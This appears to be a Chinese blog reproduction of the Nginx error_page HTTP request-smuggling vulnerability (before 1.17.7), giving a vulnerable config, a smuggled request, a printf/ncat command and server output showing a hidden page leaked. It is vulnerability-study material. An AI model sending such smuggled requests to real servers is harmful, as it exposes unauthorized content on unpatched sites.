一、漏洞简介

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

二、漏洞影响

Ngnix < 1.17.7

三、复现过程

错误代码

server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}

这时候我们可以向服务器发送以下请求

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

我们看一下服务器是怎么处理的

printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown

等于说是吧两个请求都间接的执行了,我们看一下burp里面的返回值

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!

再一下nginx服务器里面的日志

172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-"
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"

最新文章

  1. 数据结构之栈-JavaScript实现栈的功能
  2. python爬虫学习(1) —— 从urllib说起
  3. Magento 新增字段的值读写丢失原因
  4. 缓存篇~第六回 Microsoft.Practices.EnterpriseLibrary.Caching实现基于方法签名的数据集缓存
  5. PHP四种基础算法详解
  6. POJ 1523 SPF tarjan求割点
  7. 【Linux】Mutex互斥量线程同步的例子
  8. JavaScript高级程序设计(第三版)第三章 基本概念
  9. oracle学习总结5(游标、触发器、过程、方法)
  10. VC++深入详解读书笔记-第七章对话框
  11. [目标检测]YOLO原理
  12. 201521123030《Java程序设计》第1周学习总结
  13. java类加载器——ClassLoader
  14. MS SQL自定义函数判断是否正整数
  15. mysql异常:Packet for query is too large (10240 &gt; 1024). You can change this value
  16. 在浏览器窗口中加载新的url
  17. MAC/Xcode简单操作命令
  18. dotNet Core WEB程序使用 Nginx反向代理
  19. es5.0 安装ik中文分词器 mac
  20. 在Linux环境下设置ArcGIS Server 服务开机自启

热门文章

  1. 系统找不到C:\ProgramData\Oracle\Java\javapath\java.exe问题及解决方案
  2. CodeForces - 803C Maximal GCD 【构造】
  3. 记录一个状压DP用到的骚操作
  4. Hexo-域名设置+收录
  5. Kafka 博文索引
  6. DuckDuckGo Privacy Browse‪r‬
  7. ES2021 &amp; Pipeline operator (|&gt;) / 管道运算符 |&gt;
  8. Kotlin &amp; Android &amp; Swift &amp; Flutter &amp; React Native
  9. vue &amp; vue router &amp; dynamic router
  10. flutter 1.5 in action